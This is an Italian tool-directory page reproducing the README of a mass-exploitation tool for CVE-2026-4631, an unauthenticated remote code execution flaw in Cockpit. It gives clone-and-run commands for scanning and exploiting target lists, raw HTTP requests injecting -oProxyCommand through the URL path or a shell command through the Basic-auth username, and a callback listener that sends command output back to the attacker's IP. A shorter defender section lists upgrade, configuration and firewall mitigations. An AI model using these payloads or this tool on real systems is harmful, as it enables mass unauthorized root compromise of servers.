Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-4631-cockpit-RCE — Esecuzione di codice remota non autenticata tramite iniezione di argomenti nella riga di comando SSH Cockpit versioni 327 – 359 | CVSS 9.8 Critico | CWE-78 | Kitploit
Strumenti/GitHubGitHub/exdev994/cve-2026-4631-cockpit-rce
Scanner di VulnerabilitàGenerazione di PayloadExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingCommand and ControlRed TeamingStrumento di Accesso Remoto
GitHubexdev994/cve-2026-4631-cockpit-rce

CVE-2026-4631-cockpit-RCE

Esecuzione di codice remota non autenticata tramite iniezione di argomenti nella riga di comando SSH Cockpit versioni 327 – 359 | CVSS 9.8 Critico | CWE-78

Vedi Repository
212 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-4631 — Strumento di Exploit di Massa per Cockpit

Esecuzione Remota di Codice non Autenticata tramite Iniezione di Argomenti della Riga di Comando SSH Versioni Cockpit 327 – 359 | CVSS 9.8 Critico | CWE-78

Strumento di sfruttamento di massa per CVE-2026-4631 sul servizio web Cockpit (cockpit-ws, porta 9090). Supporta la modalità di scansione delle vulnerabilità, la modalità RCE con cattura dell'output dei comandi tramite un listener di callback HTTP integrato, la modalità --auto (scan + exploit in un'unica esecuzione con il comando predefinito id), l'aggiunta automatica della porta :9090 per i target senza porta, entrambi i vettori di attacco (iniezione ProxyCommand + username %r), target di massa da file, concorrenza tramite threading e un output dei risultati strutturato.

Autore: 0xNuts


Avvio Rapido

Clona e Installa

git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE
pip install -r requirements.txt

Prepara i Target

Modifica targets.txt — un host per riga. La porta :9090 viene aggiunta automaticamente se assente:

192.168.1.10
cockpit.example.com
https://manage.lab.local

Esegui (Modalità AUTO — Consigliata)

# Scan + exploit sekali jalan, command default "id"
python3 exploit.py -f targets.txt --auto --callback-ip <IP_ATTACKER>

# Contoh output di results.txt:
# example.com:9090 [ uid=0(root) gid=0(root) groups=0(root) ]

Altre Modalità

# Scan vulnerability saja (tanpa exploit)
python3 exploit.py -f targets.txt --scan -o scan_results.txt

# RCE eksplisit dengan command custom
python3 exploit.py -f targets.txt -c "whoami" --callback-ip <IP_ATTACKER>

# Single target
python3 exploit.py -t cockpit.example.com --auto --callback-ip <IP_ATTACKER>

Note sul Callback

CVE-2026-4631 è una RCE cieca — l'output del comando non viene restituito nella risposta HTTP. Lo strumento utilizza un listener HTTP integrato (porta predefinita 8888) per catturare l'output. Assicurati:

  1. --callback-ip è un IP raggiungibile dal target (non 127.0.0.1)
  2. Il firewall deve consentire il traffico TCP in ingresso sulla porta 8888 (o su quella di --listener-port personalizzata)
  3. Il target deve poter effettuare richieste HTTP in uscita verso l'IP dell'attaccante

Come Correggere / Mitigare (Difensore)

1. Aggiorna Cockpit (Obbligatorio)

# Debian / Ubuntu
sudo apt update && sudo apt install cockpit-ws

# RHEL / Fedora / CentOS
sudo dnf update cockpit-ws

# Verifikasi versi (harus >= 360)
dpkg -l cockpit-ws | awk 'NR==5{print $3}'   # Debian
rpm -q cockpit-ws                            # RHEL

2. Disattiva l'Accesso Remoto (Soluzione Temporanea)

Modifica /etc/cockpit/cockpit.conf:

[WebService]
LoginTo = false

Riavvia il servizio:

sudo systemctl restart cockpit

3. Segmentazione di Rete

Limita la porta 9090 alla sola rete di gestione:

sudo iptables -A INPUT -p tcp --dport 9090 -s 10.0.0.0/8 -j ACCEPT
sudo iptables -A INPUT -p tcp --dport 9090 -j DROP

4. Aggiorna OpenSSH >= 9.6

Mitiga il Vettore 1 (iniezione ProxyCommand) tramite la validazione anticipata dell'hostname:

ssh -V   # harus OpenSSH_9.6 atau lebih baru

5. Patch Manuale (Backport)

Se non puoi aggiornare alla versione 360, applica i commit di patch:

  • cockpit 9d0695647 — aggiunge il separatore -- in beiboot.py e cockpitauth.c
  • ferny 44ec511c99 — aggiunge -- in session.py

Dettagli della patch: vedi docs/PATCH_ANALYSIS.md


Indice

  1. Riepilogo della Vulnerabilità
  2. Vettore di Attacco
  3. Prerequisiti per lo Sfruttamento
  4. Installazione
  5. Utilizzo
  6. Modalità Operative
  7. Esempi di Esecuzione
  8. Formato dell'Output
  9. Architettura dello Strumento
  10. Struttura dei File
  11. Meccanismo di Cattura della RCE Cieca
  12. Rilevamento e Mitigazione
  13. Disclaimer Legale
  14. Riferimenti

Riepilogo della Vulnerabilità

CampoDettaglio
ID CVECVE-2026-4631
GHSAGHSA-m4gv-x78h-3427
SeveritàCritico (CVSS 9.8)
CWECWE-78 — Iniezione di Comandi del Sistema Operativo
Versioni AffetteCockpit 327 – 359
Corretta inCockpit 360+
Auth richiestaNO (pre-autenticazione)
SegnalatoreJelle van der Waa
Serviziocockpit-ws, porta predefinita 9090

Cockpit v327 ha sostituito cockpit-ssh (libssh) con python3 -m cockpit.beiboot, che richiama il client OpenSSH ssh di sistema. L'input controllabile dall'utente — hostname dal percorso dell'URL e username dall'header Authorization: Basic — viene passato a ssh senza sanificazione e senza il separatore -- di fine opzioni. L'iniezione avviene prima della verifica delle credenziali, quindi non è necessaria una login valida.


Vettore di Attacco

Vettore 1 — Iniezione ProxyCommand (Primario)

L'hostname dal percorso dell'URL viene iniettato con l'opzione SSH -oProxyCommand=<cmd>.

GET /cockpit+=-oProxyCommand=<URL_ENCODED_PAYLOAD>/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x:x")

SSH interpreta -oProxyCommand=<cmd> come opzione ed esegue <cmd> come ProxyCommand. Il comando viene eseguito come processo dell'utente cockpit-ws.

Prerequisito: OpenSSH < 9.6 sul target. OpenSSH 9.6+ dispone della validazione anticipata dell'hostname che blocca i metacaratteri.

Vettore 2 — Iniezione del Token %r nell'Username (Secondario)

L'username dall'header Authorization: Basic viene iniettato con un comando shell.

GET /cockpit+=legit-host/login HTTP/1.1
Host: target:9090
Authorization: Basic base64("x; <CMD>; #:x")

SSH espande %r con l'username nella direttiva Match exec → la shell esegue il comando iniettato.

Prerequisito: l'ssh_config del target ha una direttiva Match exec con il token %r.


Prerequisiti per lo Sfruttamento

Lato Attaccante (macchina che esegue lo strumento)

  • Python 3.8+
  • IP raggiungibile dal target Cockpit (per il listener di callback)
  • Porta aperta per il listener (predefinita 8888)
  • Firewall che consente il traffico in ingresso dal target alla porta del listener

Lato Target (istanza Cockpit)

  • Versione Cockpit 327 – 359
  • Porta 9090 raggiungibile
  • Funzionalità di accesso remoto (LoginTo) non disabilitata
  • Per il Vettore 1: OpenSSH < 9.6
  • Per il Vettore 2: ssh_config con Match exec %r

Installazione

# Clone dari GitHub
git clone https://github.com/ExDev994/CVE-2026-4631-cockpit-RCE.git
cd CVE-2026-4631-cockpit-RCE

# Install dependency
pip install -r requirements.txt

# Verifikasi
python3 exploit.py --help

Dipendenze

  • requests>=2.31 — client HTTP per le richieste di exploit
  • colorama>=0.4 — output del terminale a colori

Non ci sono dipendenze aggiuntive per il listener (utilizza la stdlib http.server + threading).


Utilizzo

usage: exploit.py [-h] [-t TARGET] [-f FILE] [--default-port PORT]
                  [-c CMD] [--scan] [--auto] [--vector {auto,proxycommand,username}]
                  [-o OUTPUT] [--callback-ip CALLBACK_IP] [--listener-port LISTENER_PORT]
                  [--threads THREADS] [--timeout TIMEOUT] [--delay DELAY] [--proxy PROXY]
                  [--user-agent UA] [-v] [--no-color]
Scarica lo strumento